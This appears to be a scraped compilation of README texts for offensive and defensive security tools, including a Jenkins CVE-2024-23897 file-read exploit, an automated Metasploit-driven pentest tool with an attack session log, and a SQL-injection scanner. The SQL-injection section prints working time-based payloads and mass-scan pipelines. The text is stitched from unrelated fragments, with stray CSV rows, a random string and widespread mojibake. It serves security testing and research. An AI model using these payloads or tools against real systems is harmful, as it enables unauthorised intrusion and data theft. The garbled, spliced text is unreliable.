example5/web.xml:166:166,J2EE Misconfiguration,Insecure Transport,3.0,5.0,X
example6/web.xml:2:2,J2EE Misconfiguration,Excessive Session Timeout,3.0,5.0,X
example7/web.xml:162:162,J2EE Misconfiguration,Missing Authentication Method,3.0,5.0,X
WW4L3VCX11zWgKPX51TRw2RENe8STkbCkh5wTV4GuQnbZ1fKYmPFobZhEfS1G9G3vwjBhzioi3vx8JgBx2xLxe4N1gtJee8Mp
In the dynamic realm of cybersecurity, vigilance and proactive defense are key. Malicious actors often leverage Microsoft Office files and Zip archives, embedding covert URLs or macros to initiate harmful actions. This Python script is crafted to detect potential threats by scrutinizing the contents of Microsoft Office documents, Acrobat Reader PDF documents and Zip files, reducing the risk of inadvertently triggering malicious code.
The script smartly identifies Microsoft Office documents (.docx, .xlsx, .pptx), Acrobat Reader PDF documents (.pdf) and Zip files. These file types, including Office documents, are zip archives that can be examined programmatically.
For both Office and Zip files, the script decompresses the contents into a temporary directory. It then scans these contents for URLs using regular expressions, searching for potential signs of compromise.
To minimize false positives, the script includes a list of domains to ignore, filtering out common URLs typically found in Office documents. This ensures focused analysis on unusual or potentially harmful URLs.
Files with URLs not on the ignored list are marked as suspicious. This heuristic method allows for adaptability based on your specific security context and threat landscape.
Post-scanning, the script cleans up by erasing temporary decompressed files, leaving no traces.
To effectively utilize the script:
Execute the script with the command: python CanaryTokenScanner.py FILE_OR_DIRECTORY_PATH (Replace FILE_OR_DIRECTORY_PATH with the actual file or directory path.)
Interpretation
ย
An example of the Canary Token Scanner script in action, demonstrating its capability to detect suspicious URLs.
This script is intended for educational and security testing purposes only. Utilize it responsibly and in compliance with applicable laws and regulations.
Exploitation and scanning tool specifically designed for Jenkins versions <= 2.441 & <= LTS 2.426.2. It leverages CVE-2024-23897 to assess and exploit vulnerabilities in Jenkins instances.
Ensure you have the necessary permissions to scan and exploit the target systems. Use this tool responsibly and ethically.
python CVE-2024-23897.py -t <target> -p <port> -f <file>
or
python CVE-2024-23897.py -i <input_file> -f <file>
Parameters: - -t or --target: Specify the target IP(s). Supports single IP, IP range, comma-separated list, or CIDR block. - -i or --input-file: Path to input file containing hosts in the format of http://1.2.3.4:8080/ (one per line). - -o or --output-file: Export results to file (optional). - -p or --port: Specify the port number. Default is 8080 (optional). - -f or --file: Specify the file to read on the target system.
-i INPUT_FILE). -o OUTPUT_FILE).Contributions are welcome. Please feel free to fork, modify, and make pull requests or report issues.
Alexander Hagenah - URL - Twitter
This tool is meant for educational and professional purposes only. Unauthorized scanning and exploiting of systems is illegal and unethical. Always ensure you have explicit permission to test and exploit any systems you target.
RepoReaper is a precision tool designed to automate the identification of exposed .git repositories across a list of domains and subdomains. By processing a user-provided text file with domain names, RepoReaper systematically checks each for publicly accessible .git files. This enables rapid assessment and protection against information leaks, making RepoReaper an essential resource for security teams and web developers.
.git repositories.Clone the repository and install the required dependencies:
git clone https://github.com/YourUsername/RepoReaper.git
cd RepoReaper
pip install -r requirements.txt
chmod +x RepoReaper.py
RepoReaper is executed from the command line and will prompt for the path to a file containing a list of domains or subdomains to be scanned.
To start RepoReaper, simply run:
./RepoReaper.py
or
python3 RepoReaper.py
Upon execution, RepoReaper will ask for the path to the file containing the domains or subdomains: Enter the path of the file containing domains
Provide the path to your text file when prompted. The file should contain one domain or subdomain per line, like so:
example.com
subdomain.example.com
anotherdomain.com
RepoReaper will then proceed to scan the provided domains or subdomains for exposed .git repositories and report its findings.ย
This tool is intended for educational purposes and security research only. The user assumes all responsibility for any damages or misuse resulting from its use.
SploitScan is a powerful and user-friendly tool designed to streamline the process of identifying exploits for known vulnerabilities and their respective exploitation probability. Empowering cybersecurity professionals with the capability to swiftly identify and apply known and test exploits. It's particularly valuable for professionals seeking to enhance their security measures or develop robust detection strategies against emerging threats.
Regular:
python sploitscan.py CVE-YYYY-NNNNN
Enter one or more CVE IDs to fetch data. Separate multiple CVE IDs with spaces.
python sploitscan.py CVE-YYYY-NNNNN CVE-YYYY-NNNNN
Optional: Export the results to a JSON or CSV file. Specify the format: 'json' or 'csv'.
python sploitscan.py CVE-YYYY-NNNNN -e JSON
The Patching Prioritization System in SploitScan provides a strategic approach to prioritizing security patches based on the severity and exploitability of vulnerabilities. It's influenced by the model from CVE Prioritizer, with enhancements for handling publicly available exploits. Here's how it works:
This system assists users in making informed decisions on which vulnerabilities to patch first, considering both their potential impact and the likelihood of exploitation. Thresholds can be changed to your business needs.
Contributions are welcome. Please feel free to fork, modify, and make pull requests or report issues.
Alexander Hagenah - URL - Twitter
SwaggerSpy is a tool designed for automated Open Source Intelligence (OSINT) on SwaggerHub. This project aims to streamline the process of gathering intelligence from APIs documented on SwaggerHub, providing valuable insights for security researchers, developers, and IT professionals.
Swagger is an open-source framework that allows developers to design, build, document, and consume RESTful web services. It simplifies API development by providing a standard way to describe REST APIs using a JSON or YAML format. Swagger enables developers to create interactive documentation for their APIs, making it easier for both developers and non-developers to understand and use the API.
SwaggerHub is a collaborative platform for designing, building, and managing APIs using the Swagger framework. It offers a centralized repository for API documentation, version control, and collaboration among team members. SwaggerHub simplifies the API development lifecycle by providing a unified platform for API design and testing.
Performing OSINT on SwaggerHub is crucial because developers, in their pursuit of efficient API documentation and sharing, may inadvertently expose sensitive information. Here are key reasons why OSINT on SwaggerHub is valuable:
Developer Oversights: Developers might unintentionally include secrets, credentials, or sensitive information in API documentation on SwaggerHub. These oversights can lead to security vulnerabilities and unauthorized access if not identified and addressed promptly.
Security Best Practices: OSINT on SwaggerHub helps enforce security best practices. Identifying and rectifying potential security issues early in the development lifecycle is essential to ensure the confidentiality and integrity of APIs.
Preventing Data Leaks: By systematically scanning SwaggerHub for sensitive information, organizations can proactively prevent data leaks. This is especially crucial in today's interconnected digital landscape where APIs play a vital role in data exchange between services.
Risk Mitigation: Understanding that developers might forget to remove or obfuscate sensitive details in API documentation underscores the importance of continuous OSINT on SwaggerHub. This proactive approach mitigates the risk of unintentional exposure of critical information.
Compliance and Privacy: Many industries have stringent compliance requirements regarding the protection of sensitive data. OSINT on SwaggerHub ensures that APIs adhere to these regulations, promoting a culture of compliance and safeguarding user privacy.
Educational Opportunities: Identifying oversights in SwaggerHub documentation provides educational opportunities for developers. It encourages a security-conscious mindset, fostering a culture of awareness and responsible information handling.
By recognizing that developers can inadvertently expose secrets, OSINT on SwaggerHub becomes an integral part of the overall security strategy, safeguarding against potential threats and promoting a secure API ecosystem.
SwaggerSpy obtains information from SwaggerHub and utilizes regular expressions to inspect API documentation for sensitive information, such as secrets and credentials.
To use SwaggerSpy, follow these steps:
git clone https://github.com/UndeadSec/SwaggerSpy.git
cd SwaggerSpy
pip install -r requirements.txt
python swaggerspy.py searchterm
SwaggerSpy is intended for educational and research purposes only. Users are responsible for ensuring that their use of this tool complies with applicable laws and regulations.
Contributions to SwaggerSpy are welcome! Feel free to submit issues, feature requests, or pull requests to help improve this tool.
SwaggerSpy is developed and maintained by Alisson Moretto (UndeadSec)
I'm a passionate cyber threat intelligence pro who loves sharing insights and crafting cybersecurity tools.
SwaggerSpy is licensed under the MIT License. See the LICENSE file for details.
Special thanks to @Liodeus for providing project inspiration through swaggerHole.
AzSubEnum is a specialized subdomain enumeration tool tailored for Azure services. This tool is designed to meticulously search and identify subdomains associated with various Azure services. Through a combination of techniques and queries, AzSubEnum delves into the Azure domain structure, systematically probing and collecting subdomains related to a diverse range of Azure services.
AzSubEnum operates by leveraging DNS resolution techniques and systematic permutation methods to unveil subdomains associated with Azure services such as Azure App Services, Storage Accounts, Azure Databases (including MSSQL, Cosmos DB, and Redis), Key Vaults, CDN, Email, SharePoint, Azure Container Registry, and more. Its functionality extends to comprehensively scanning different Azure service domains to identify associated subdomains.
With this tool, users can conduct thorough subdomain enumeration within Azure environments, aiding security professionals, researchers, and administrators in gaining insights into the expansive landscape of Azure services and their corresponding subdomains.
During my learning journey on Azure AD exploitation, I discovered that the Azure subdomain tool, Invoke-EnumerateAzureSubDomains from NetSPI, was unable to run on my Debian PowerShell. Consequently, I created a crude implementation of that tool in Python.
โ AzSubEnum git:(main) โ python3 azsubenum.py --help
usage: azsubenum.py [-h] -b BASE [-v] [-t THREADS] [-p PERMUTATIONS]
Azure Subdomain Enumeration
options:
-h, --help show this help message and exit
-b BASE, --base BASE Base name to use
-v, --verbose Show verbose output
-t THREADS, --threads THREADS
Number of threads for concurrent execution
-p PERMUTATIONS, --permutations PERMUTATIONS
File containing permutations
Basic enumeration:
python3 azsubenum.py -b retailcorp --thread 10
Using permutation wordlists:
python3 azsubenum.py -b retailcorp --thread 10 --permutation permutations.txt
With verbose output:
python3 azsubenum.py -b retailcorp --thread 10 --permutation permutations.txt --verbose
SqliSniper is a robust Python tool designed to detect time-based blind SQL injections in HTTP request headers. It enhances the security assessment process by rapidly scanning and identifying potential vulnerabilities using multi-threaded, ensuring speed and efficiency. Unlike other scanners, SqliSniper is designed to eliminates false positives through and send alerts upon detection, with the built-in Discord notification functionality.
git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt
This will display help for the tool. Here are all the options it supports.
ubuntu:~/sqlisniper$ ./sqlisniper.py -h
โโโโโโโโ โโโโโโโ โโโ โโโ โโโโโโโโโโโโ โโโโโโโโโโโโโ โโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโ โโโ โโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโ โโโโโโ โโโ โโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโโโโโโโโโโโ โโโโโโ โโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโ
โโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโ โโโโโโโโโโโ โโโ
โโโโโโโโ โโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโ โโโ
-: By Muhammad Danial :-
usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PA YLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]
Detect SQL injection by sending malicious queries
options:
-h, --help show this help message and exit
-u URL, --url URL Single URL for the target
-r URLS_FILE, --urls_file URLS_FILE
File containing a list of URLs
-p, --pipeline Read from pipeline
--proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
--payload PAYLOAD File containing malicious payloads (default is payloads.txt)
--single-payload SINGLE_PAYLOAD
Single payload for testing
--discord DISCORD Discord Webhook URL
--headers HEADERS File containing headers (default is headers.txt)
--threads THREADS Number of threads
The url can be provided with -u flag for single site scan
./sqlisniper.py -u http://example.com
The -r flag allows SqliSniper to read a file containing multiple URLs for simultaneous scanning.
./sqlisniper.py -r url.txt
The SqliSniper can also worked with the pipeline input with -p flag
cat url.txt | ./sqlisniper.py -p
The pipeline feature facilitates seamless integration with other tools. For instance, you can utilize tools like subfinder and httpx, and then pipe their output to SqliSniper for mass scanning.
subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p
By default the SqliSniper use the payloads.txt file. However --payload flag can be used for providing custom payloads file.
./sqlisniper.py -u http://example.com --payload mssql_payloads.txt
While using the custom payloads file, ensure that you substitute the sleep time with %__TIME_OUT__%. SqliSniper dynamically adjusts the sleep time iteratively to mitigate potential false positives. The payloads file should look like this.
ubuntu:~/sqlisniper$ cat payloads.txt
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z
If you want to only test with the single payload --single-payload flag can be used. Make sure to replace the sleep time with %__TIME_OUT__%
./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"
Headers are saved in the file headers.txt for scanning custom header save the custom HTTP Request Header in headers.txt file.
ubuntu:~/sqlisniper$ cat headers.txt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1
SqliSniper also offers Discord alert notifications, enhancing its functionality by providing real-time alerts through Discord webhooks. This feature proves invaluable during large-scale scans, allowing prompt notifications upon detection.
./sqlisniper.py -r url.txt --discord <web_hookurl>
Threads can be defined with --threads flag
./sqlisniper.py -r url.txt --threads 10
Note: It is crucial to consider that employing a higher number of threads might lead to potential false positives or overlooking valid issues. Due to the nature of time-based SQL injection it is recommended to use lower thread for more accurate detection.
SqliSniper is made inย pythonย with lots of <3 by @Muhammad Danial.
Tool for analyzing SAP Secure Network Communications (SNC).
In its current state, sncscan can be used to read the SNC configurations for SAP Router and DIAG (SAP GUI) connections. The implementation for the SAP RFC protocol is currently in development.
SAP Routers can either support SNC or not, a more granular configuration of the SNC parameters is not possible. Nevertheless, sncscan find out if it is activated:
sncscan -H 10.3.161.4 -S 3299 -p router
The SNC configuration of a DIAG connection used by a SAP GUI can have more versatile settings than the router configuration. A detailled overview of the system parameterss that can be read with sncscan and impact the connections security is in the section Background
sncscan -H 10.3.161.3 -S 3200 -p diag
Multiple targets can be scanned with one command:
sncscan -L /H/192.168.56.101/S/3200,/H/192.168.56.102/S/3206
sncscan --route-string /H/10.3.161.5/S/3299/H/10.3.161.3/S/3200 -p diag
Requirements: Currently the sncscan only works with the pysap libary from our fork.
python3 -m pip install -r requirements.txt
or
python3 setup.py test
python3 setup.py install
SAP protocols, such as DIAG or RFC, do not provide high security themselves. To increase security and ensure Authentication, Integrity and Encryption, the use of SNC (Secure Network Communications) is required. SNC protects the data communication paths between various client and server components of the SAP system that use the RFC, DIAG or router protocol by applying known cryptographic algorithms to the data in order to increase its security. There are three different levels of data protection, that can be applied for an SNC secured connection:
Each SAP system can be configured with SNC parameters for the communication security. The level of the SNC connection is determined by the Quality of Protection parameters:
Additional SNC parameters can be used for further system-specific configuration options, including the snc/only_encrypted_gui parameter, which ensures that encrypted SAPGUI connections are enforced.
As long as a SAP System is addressed that is capable of sending SNC messages, it also responds to valid SNC requests, regardless of which IP, port, and CN were specified for SNC. This response contains the requirements that the SAP system has for the SNC connection, which can then be used to obtain the SNC parameters. This can be used to find out whether an SAP system has SNC enabled and, if so, which SNC parameters have been set.
To know more about our Attack Surface Management platform, check out NVADR.
Bugsy is a command-line interface (CLI) tool that provides automatic security vulnerability remediation for your code. It is the community edition version of Mobb, the first vendor-agnostic automated security vulnerability remediation tool. Bugsy is designed to help developers quickly identify and fix security vulnerabilities in their code.
Mobb is the first vendor-agnostic automatic security vulnerability remediation tool. It ingests SAST results from Checkmarx, CodeQL (GitHub Advanced Security), OpenText Fortify, and Snyk and produces code fixes for developers to review and commit to their code.
Bugsy has two modes - Scan (no SAST report needed) & Analyze (the user needs to provide a pre-generated SAST report from one of the supported SAST tools).
Scan
Analyze
This is a community edition version that only analyzes public GitHub repositories. Analyzing private repositories is allowed for a limited amount of time. Bugsy does not detect any vulnerabilities in your code, it uses findings detected by the SAST tools mentioned above.
You can simply run Bugsy from the command line, using npx:
CATSploit is an automated penetration testing tool using Cyber Attack Techniques Scoring (CATS) method that can be used without pentester. Currently, pentesters implicitly made the selection of suitable attack techniques for target systems to be attacked. CATSploit uses system configuration information such as OS, open ports, software version collected by scanner and calculates a score value for capture eVc and detectability eVd of each attack techniques for target system. By selecting the highest score values, it is possible to select the most appropriate attack technique for the target system without hack knack(professional pentesterโs skill) .
CATSploit automatically performs penetration tests in the following sequence:
Information gathering and prior information input First, gathering information of target systems. CATSploit supports nmap and OpenVAS to gather information of target systems. CATSploit also supports prior information of target systems if you have.
Calculating score value of attack techniques Using information obtained in the previous phase and attack techniques database, evaluation values of capture (eVc) and detectability (eVd) of each attack techniques are calculated. For each target computer, the values of each attack technique are calculated.
Selection of attack techniques by using scores and make attack scenario Select attack techniques and create attack scenarios according to pre-defined policies. For example, for a policy that prioritized hard-to-detect, the attack techniques with the lowest eVd(Detectable Score) will be selected.
Execution of attack scenario CATSploit executes the attack techniques according to attack scenario constructed in the previous phase. CATSploit uses Metasploit as a framework and Metasploit API to execute actual attacks.
CATSploit has the following prerequisites:
For Metasploit, Nmap and OpenVAS, it is assumed to be installed with the Kali Distribution.
To install the latest version of CATSploit, please use the following commands:
$ git clone https://github.com/catsploit/catsploit.git
$ cd catsploit
$ git clone https://github.com/catsploit/cats-helper.git
$ sudo ./setup.sh
CATSploit is a server-client configuration, and the server reads the configuration JSON file at startup. In config.json, the following fields should be modified for your environment.
(*) Adjust the number according to the specs of your machine.
To start the server, execute the following command:
$ python cats_server.py -c [CONFIG_FILE]
Next, prepare another console, start the client program, and initiate a connection to the server.
$ python catsploit.py -s [SOCKET_PATH]
After successfully connecting to the server and initializing it, the session will start.
_________ ___________ __ _ __
/ ____/ |/_ __/ ___/____ / /___ (_) /_
/ / / /| | / / \__ \/ __ \/ / __ \/ / __/
/ /___/ ___ |/ / ___/ / /_/ / / /_/ / / /_
\____/_/ |_/_/ /____/ .___/_/\____/_/\__/
/_/
[*] Connecting to cats-server
[*] Done.
[*] Initializing server
[*] Done.
catsploit>
The client can execute a variety of commands. Each command can be executed with -h option to display the format of its arguments.
usage: [-h] {host,scenario,scan,plan,attack,post,reset,help,exit} ...
positional arguments:
{host,scenario,scan,plan,attack,post,reset,help,exit}
options:
-h, --help show this help message and exit
I've posted the commands and options below as well for reference.
host list:
show information about the hosts
usage: host list [-h]
options:
-h, --help show this help message and exit
host detail:
show more information about one host
usage: host detail [-h] host_id
positional arguments:
host_id ID of the host for which you want to show information
options:
-h, --help show this help message and exit
scenario list:
show information about the scenarios
usage: scenario list [-h]
options:
-h, --help show this help message and exit
scenario detail:
show more information about one scenario
usage: scenario detail [-h] scenario_id
positional arguments:
scenario_id ID of the scenario for which you want to show information
options:
-h, --help show this help message and exit
scan:
run network-scan and security-scan
usage: scan [-h] [--port PORT] targe t_host [target_host ...]
positional arguments:
target_host IP address to be scanned
options:
-h, --help show this help message and exit
--port PORT ports to be scanned
plan:
planning attack scenarios
usage: plan [-h] src_host_id dst_host_id
positional arguments:
src_host_id originating host
dst_host_id target host
options:
-h, --help show this help message and exit
attack:
execute attack scenario
usage: attack [-h] scenario_id
positional arguments:
scenario_id ID of the scenario you want to execute
options:
-h, --help show this help message and exit
post find-secret:
find confidential information files that can be performed on the pwned host
usage: post find-secret [-h] host_id
positional arguments:
host_id ID of the host for which you want to find confidential information
op tions:
-h, --help show this help message and exit
reset:
reset data on the server
usage: reset [-h] {system} ...
positional arguments:
{system} reset system
options:
-h, --help show this help message and exit
exit:
exit CATSploit
usage: exit [-h]
options:
-h, --help show this help message and exit
In this example, we use CATSploit to scan network, plan the attack scenario, and execute the attack.
catsploit> scan 192.168.0.0/24
Network Scanning ... 100%
[*] Total 2 hosts were discovered.
Vulnerability Scanning ... 100%
[*] Total 14 vulnerabilities were discovered.
catsploit> host list
โโโโโโโโโโโโณโโโโโโโโโโโโโโโโโณโโโโโโโโโโโณโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโณโโโโโโโโ
โ hostID โ IP โ Hostname โ Platform โ Pwned โ
โกโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฉ
โ attacker โ 0.0.0.0 โ kali โ kali 2022.4 โ True โ
โ h_exbiy6 โ 192.168.0.10 โ โ Linux 3.10 - 4.11 โ False โ
โ h_nhqyfq โ 192.168.0.20 โ โ Microsoft Windows 7 SP1 โ False โ
โโโโโโโโโโโโด โโโโโโโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโดโโโโโโโโ
catsploit> host detail h_exbiy6
โโโโโโโโโโโโณโโโโโโโโโโโโโโโณโโโโโโโโโโโณโโโโโโโโโโโโโโโณโโโโโโโโ
โ hostID โ IP โ Hostname โ Platform โ Pwned โ
โกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฉ
โ h_exbiy6 โ 192.168.0.10 โ ubuntu โ ubuntu 14.04 โ False โ
โโโโโโโโโโโโดโโโโโโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโโโโโดโ โโโโโโ
[IP address]
โโโโโโโโโโโโโโโโณโโโโโโโโโโโณโโโโโโโณโโโโโโโโโโโโโ
โ ipv4 โ ipv4mask โ ipv6 โ ipv6prefix โ
โกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฉ
โ 192.168.0.10 โ โ โ โ
โโโโโโโโโโโโโ โโดโโโโโโโโโโโดโโโโโโโดโโโโโโโโโโโโโ
[Open ports]
โโโโโโโโโโโโโโโโณโโโโโโโโณโโโโโโโณโโโโโโโโโโโโโโณโโโโโโโโโโโโโโโณโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ ip โ proto โ port โ service โ product โ version โ
โกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฉ
โ 192.168.0.10 โ tcp โ 21 โ ftp โ ProFTPD โ 1.3.5 โ
โ 192.168.0.10 โ tcp โ 22 โ ssh โ OpenSSH โ 6.6.1p1 Ubuntu 2ubuntu2.10 โ
โ 192.168.0.10 โ tcp โ 80 โ http โ Apache httpd โ 2.4.7 โ
โ 192.168.0.10 โ tcp โ 445 โ netbios-ssn โ Samba smbd โ 3.X - 4.X โ
โ 192.168.0.10 โ tcp โ 631 โ ipp โ CUPS โ 1.7 โ
โโโโโโโโโโโโโโโโดโโโโโโโโดโโโโโโโดโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[Vulnerabilities]
โโโโโโโโโโโโโโโโณโโโโโโโโณโโโโโโโณโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโณโโโโโโโโโโโโโโโโโ
โ ip โ proto โ port โ vuln_name โ cve โ
โกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฉ
โ 192.168.0.10 โ tcp โ 0 โ TCP Timestamps Information Disclosure โ N/A โ
โ 192.168.0.10 โ tcp โ 21 โ FTP Unencrypted Cleartext Login โ N/A โ
โ 192.168.0.10 โ tcp โ 22 โ Weak MAC Algorithm(s) Supported (SSH) โ N/A โ
โ 192.168.0.10 โ tcp โ 22 โ Weak Encryption Algorithm(s) Supported (SSH) โ N/A โ
โ 192.168.0.10 โ tcp โ 22 โ Weak Host Key Algorithm(s) (SSH) โ N/A โ
โ 192.168.0.10 โ tcp โ 22 โ Weak Key Exchange (KEX) Algorithm(s) Supported (SSH) โ N/A โ
โ 192.168.0.10 โ tcp โ 80 โ Test HTTP dangerous methods โ N/A โ
โ 192.168.0.10 โ tcp โ 80 โ Drupal Core SQLi Vulnerability (SA-CORE-2014-005) - Active Check โ CVE-2014-3704 โ
โ 192.168.0.10 โ tcp โ 80 โ Drupal Coder RCE Vulnerability (SA-CONTRIB-2016-039) - Active Check โ N/A โ
โ 192.168.0.10 โ tcp โ 80 โ Sensitive File Disclosure (HTTP) โ N/A โ
โ 192.168.0.10 โ tcp โ 80 โ Unprotected Web App / Device Installers (HTTP) โ N/A โ
โ 192.168.0.10 โ tcp โ 80 โ Cleartext Transmission of Sensitive Information via HTTP โ N/A โ
โ 192.168.0.10 โ tcp โ 80 โ jQuery < 1.9.0 XSS Vulnerability โ CVE-2012-6708 โ
โ 192.168.0.10 โ tcp โ 80 โ jQuery < 1.6.3 XSS Vulnerability โ CVE-2011-4969 โ
โ 192.168.0.10 โ tcp โ 80 โ Drupal 7.0 Information Disclosure Vulnerability - Active Check โ CVE-2011-3730 โ
โ 192.168.0.10 โ tcp โ 631 โ SSL/TLS: Report Vulnerable Cipher Suites for HTTPS โ CVE-2016-2183 โ
โ 192.168.0.10 โ tcp โ 631 โ SSL/TLS: Report Vulnerable Cipher Suites for HTTPS โ CVE-2016-6329 โ
โ 192.168.0.10 โ tcp โ 631 โ SSL/TLS: Report Vulnerable Cipher Suites for HTTPS โ CVE-2020-12872 โ
โ 192.168.0.10 โ tcp โ 631 โ SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection โ CVE-2011-3389 โ
โ 192.168.0.10 โ tcp โ 631 โ SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection โ CVE-2015-0204 โ
โโโโโโโโโโโโโโโโดโโโโโโโโดโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโดโโโ& #9472;โโโโโโโโโโโโโ
[Users]
โโโโโโโโโโโโโณโโโโโโโโ
โ user name โ group โ
โกโโโโโโโโโโโโโโโโโโโโฉ
โโโโโโโโโโโโโดโโโโโโโโ
catsploit> plan attacker h_exbiy6
Planning attack scenario...100%
[*] Done. 15 scenarios was planned.
[*] To check each scenario, try 'scenario list' and/or 'scenario detail'.
catsploit> scenario list
โโโโโโโโโโโโโโโณโโโโโ โโโโโโโโณโโโโโโโโโโโโโโโโโณโโโโโโโโณโโโโโโโโณโโโโโโโโณโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ scenario id โ src host ip โ target host ip โ eVc โ eVd โ steps โ first attack step โ
โกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโγ 3;โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฉ
โ 3d3ivc โ 0.0.0.0 โ 192.168.0.10 โ 1.0 โ 32.0 โ 1 โ exploit/multi/http/jenkins_sโฆ โ
โ 5gnsvh โ 0.0.0.0 โ 192.168.0.10 โ 1.0 โ 53.76 โ 2 โ exploit/multi/http/jenkins_sโฆ โ
โ 6nlxyc โ 0.0.0.0 โ 192.168.0.10 โ 0.0 โ 48.32 โ 2 โ exploit/multi/http/jenkins_sโฆ โ
โ 8jos4z โ 0.0.0.0 โ 192.168.0.1 0 โ 0.7 โ 72.8 โ 2 โ exploit/multi/http/jenkins_sโฆ โ
โ 8kmmts โ 0.0.0.0 โ 192.168.0.10 โ 0.0 โ 32.0 โ 1 โ exploit/multi/elasticsearch/โฆ โ
โ agjmma โ 0.0.0.0 โ 192.168.0.10 โ 0.0 โ 24.0 โ 1 โ exploit/windows/http/manageeโฆ โ
โ joglhf โ 0.0.0.0 โ 192.168.0.10 โ 70.0 โ 60.0 โ 1 โ auxiliary/scanner/ssh/ssh_loโฆ โ
โ rmgrof โ 0.0.0.0 โ 192.168.0.10 โ 100.0 โ 32.0 โ 1 โ exploit/multi/http/drupal_drโฆ โ
โ xuowzk โ 0.0.0.0 โ 192.168.0.10 โ 0.0 โ 24.0 โ 1 โ exploit/multi/http/struts_dmโฆ โ
โ yttv51 โ 0.0.0.0 โ 192.168.0.10 โ 0.01 โ 53.76 โ 2 โ exploit/multi/http/jenkins_sโฆ โ
โ znv76x โ 0.0.0.0 โ 192.168.0.10 โ 0.01 โ 53.76 โ 2 โ exploit/multi/http/jenkins_sโฆ โ
โโโโโโโโโโโโโโโดโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโดโโโโโโโโดโโโโโโโโดโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
catsploit> scenario detail rmgrof
โโโโโโโโโโโโโโโณโโโโโโโโโโโโโโโโโณโโโโโโโโณโโโโโโโ
โ src host ip โ target host ip โ eVc โ eVd โ
โกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฉ
โ 0.0.0.0 โ 192.168.0.10 โ 100.0 โ 32.0 โ
โโโโโโโโโโโโโโโดโโโโโโโโ โโโโโโโโดโโโโโโโโดโโโโโโโ
[Steps]
โโโโโณโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโณโโโโโโโโโโโโโโโโโโโโโโโโ
โ # โ step โ params โ
โกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฉ
โ 1 โ exploit/multi/http/drupal_drupageddon โ RHOSTS: 192.168.0.10 โ
โ โ โ LHOST: 192.168.10.100 โ
โโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโ
catsploit> attack rmgrof
> ~> ~
> Metasploit Console Log
> ~
> ~
[+] Attack scenario succeeded!
catsploit> exit
Bye.
All informations and codes are provided solely for educational purposes and/or testing your own systems.
For any inquiry, please contact the email address as follows:
catsploit@nk.MitsubishiElectric.co.jp
A project for fuzzing HTTP/1.1 CL.0 Request Smuggling Attack Vectors.
Thank you to @albinowax, @defparam and @d3d else this tool would not exist. Inspired by the tool Smuggler all attack gadgets adapted from Smuggler and https://portswigger.net/research/how-to-turn-security-research-into-profit
For more info see: https://moopinger.github.io/blog/fuzzing/clzero/tools/request/smuggling/2023/11/15/Fuzzing-With-CLZero.html
usage: clzero.py [-h] [-url URL] [-file FILE] [-index INDEX] [-verbose] [-no-color] [-resume] [-skipread] [-quiet] [-lb] [-config CONFIG] [-method METHOD]
CLZero by Moopinger
